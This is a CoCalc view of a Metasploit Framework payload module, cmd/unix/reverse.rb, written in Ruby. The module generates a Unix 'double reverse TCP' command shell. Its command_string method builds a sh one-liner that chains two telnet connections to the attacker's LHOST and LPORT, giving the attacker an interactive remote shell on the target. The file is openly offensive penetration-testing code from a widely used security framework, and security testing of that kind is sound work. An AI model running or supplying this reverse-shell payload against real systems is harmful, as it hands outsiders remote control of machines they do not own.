Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 130
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Unix Command Shell, Double Reverse TCP (telnet)',
17
'Description' => 'Creates an interactive shell through two inbound connections',
18
'Author' => 'hdm',
19
'License' => MSF_LICENSE,
20
'Platform' => 'unix',
21
'Arch' => ARCH_CMD,
22
'Handler' => Msf::Handler::ReverseTcpDouble,
23
'Session' => Msf::Sessions::CommandShell,
24
'PayloadType' => 'cmd',
25
'RequiredCmd' => 'telnet',
26
'Payload' => {
27
'Offsets' => {},
28
'Payload' => ''
29
}
30
)
31
)
32
register_advanced_options(
33
[
34
OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet']),
35
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
36
]
37
)
38
end
39
40
#
41
# Constructs the payload
42
#
43
def generate(_opts = {})
44
vprint_good(command_string)
45
return super + command_string
46
end
47
48
#
49
# Returns the command string to use for execution
50
#
51
def command_string
52
cmd =
53
"#{datastore['ShellPath']} -c '(sleep #{rand(3600..4623)}|" \
54
"#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}|" \
55
"while : ; do #{datastore['ShellPath']} && break; done 2>&1|" \
56
"#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}" \
57
" >/dev/null 2>&1 &)'"
58
return cmd
59
end
60
end
61
62